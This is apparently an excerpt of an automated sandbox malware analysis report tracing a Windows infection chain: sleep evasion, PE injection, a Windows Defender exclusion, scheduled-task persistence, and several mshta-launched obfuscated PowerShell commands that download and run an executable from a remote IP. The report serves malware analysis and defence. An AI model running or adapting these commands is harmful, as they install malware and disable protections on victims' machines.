Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 9C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: AC80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 2690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory allocated: 5D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 210000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 5E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 5540000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 52B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 6760000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 7760000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 7B50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 8B50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 9B50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: AB50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 1D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory allocated: 1D0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE89432C63 sldt ax

7_2_000007FE89432C63

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 600000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2883	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7080	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2216	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2858	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Window / User API: threadDelayed 1577
Source: C:\Users\user\AppData\Roaming\sihost.exe	Window / User API: threadDelayed 8168
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2047
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2371
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Window / User API: threadDelayed 9821

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.dll

Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3064	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3140	Thread sleep count: 2883 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3140	Thread sleep count: 7080 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3184	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3248	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3552	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3612	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3508	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3728	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3832	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3832	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3844	Thread sleep count: 1577 > 30
Source: C:\Users\user\AppData\Roaming\sihost.exe TID: 3844	Thread sleep count: 8168 > 30
Source: C:\Windows\System32\taskeng.exe TID: 3684	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 3860	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 3744	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3572	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2308	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3572	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 3480	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 428	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 428	Thread sleep time: -2400000s >= -30000s
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe TID: 3584	Thread sleep count: 9821 > 30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sihost.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Thread delayed: delay time: 600000

Source: sihost.exe, 0000000C.00000002.460456249.0000000004086000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: FvMci

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\sihost.exe

Code function: 17_2_0036A020 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

17_2_0036A020

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\sihost.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\sihost.exe	Memory written: C:\Users\user\AppData\Roaming\sihost.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Memory written: C:\Users\user\AppData\Roaming\bKVNuVuE.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D56.tmp" "c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jfqynwd0zm90rxvticagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtvflwzsagicagicagicagicagicagicagicagicagicagicaglu1fbwjlckrlrmlosxrjb24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1cmxnb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagc0nsdujftw8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbqlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagq0lvlhvpbnqgicagicagicagicagicagicagicagicagicagicagignuleludfb0ciagicagicagicagicagicagicagicagicagicagicagsudqrck7jyagicagicagicagicagicagicagicagicagicagicaglu5htuugicagicagicagicagicagicagicagicagicagicagicjzvnzgvnlsde4iicagicagicagicagicagicagicagicagicagicagicatbmftzvnwqunficagicagicagicagicagicagicagicagicagicagicbsa3lrv0rlegggicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrumjvndgzvdev1uzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xmzgvndavc2lob3n0lmv4zsisiirfbly6qvbqrefuqvxzawhvc3quzxhliiwwldapo1n0yvjulvnmzuvwkdmpo1n0yvj0icagicagicagicagicagicagicagicagicagicagicaijgvovjpbufbeqvrbxhnpag9zdc5legui'+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jfqynwd0zm90rxvticagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtvflwzsagicagicagicagicagicagicagicagicagicagicaglu1fbwjlckrlrmlosxrjb24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1cmxnb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagc0nsdujftw8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbqlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagq0lvlhvpbnqgicagicagicagicagicagicagicagicagicagicagignuleludfb0ciagicagicagicagicagicagicagicagicagicagicagsudqrck7jyagicagicagicagicagicagicagicagicagicagicaglu5htuugicagicagicagicagicagicagicagicagicagicagicjzvnzgvnlsde4iicagicagicagicagicagicagicagicagicagicagicatbmftzvnwqunficagicagicagicagicagicagicagicagicagicagicbsa3lrv0rlegggicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrumjvndgzvdev1uzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xmzgvndavc2lob3n0lmv4zsisiirfbly6qvbqrefuqvxzawhvc3quzxhliiwwldapo1n0yvjulvnmzuvwkdmpo1n0yvj0icagicagicagicagicagicagicagicagicagicagicaijgvovjpbufbeqvrbxhnpag9zdc5legui'+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jfqynwd0zm90rxvticagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtvflwzsagicagicagicagicagicagicagicagicagicagicaglu1fbwjlckrlrmlosxrjb24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1cmxnb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagc0nsdujftw8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbqlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagq0lvlhvpbnqgicagicagicagicagicagicagicagicagicagicagignuleludfb0ciagicagicagicagicagicagicagicagicagicagicagsudqrck7jyagicagicagicagicagicagicagicagicagicagicaglu5htuugicagicagicagicagicagicagicagicagicagicagicjzvnzgvnlsde4iicagicagicagicagicagicagicagicagicagicagicatbmftzvnwqunficagicagicagicagicagicagicagicagicagicagicbsa3lrv0rlegggicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrumjvndgzvdev1uzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xmzgvndavc2lob3n0lmv4zsisiirfbly6qvbqrefuqvxzawhvc3quzxhliiwwldapo1n0yvjulvnmzuvwkdmpo1n0yvj0icagicagicagicagicagicagicagicagicagicagicaijgvovjpbufbeqvrbxhnpag9zdc5legui'+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'jfqynwd0zm90rxvticagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicbbreqtvflwzsagicagicagicagicagicagicagicagicagicagicaglu1fbwjlckrlrmlosxrjb24gicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1cmxnb04ilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagc0nsdujftw8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbqlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagq0lvlhvpbnqgicagicagicagicagicagicagicagicagicagicagignuleludfb0ciagicagicagicagicagicagicagicagicagicagicagsudqrck7jyagicagicagicagicagicagicagicagicagicagicaglu5htuugicagicagicagicagicagicagicagicagicagicagicjzvnzgvnlsde4iicagicagicagicagicagicagicagicagicagicagicatbmftzvnwqunficagicagicagicagicagicagicagicagicagicagicbsa3lrv0rlegggicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrumjvndgzvdev1uzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xmzgvndavc2lob3n0lmv4zsisiirfbly6qvbqrefuqvxzawhvc3quzxhliiwwldapo1n0yvjulvnmzuvwkdmpo1n0yvj0icagicagicagicagicagicagicagicagicagicagicaijgvovjpbufbeqvrbxhnpag9zdc5legui'+[char]34+'))')))"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
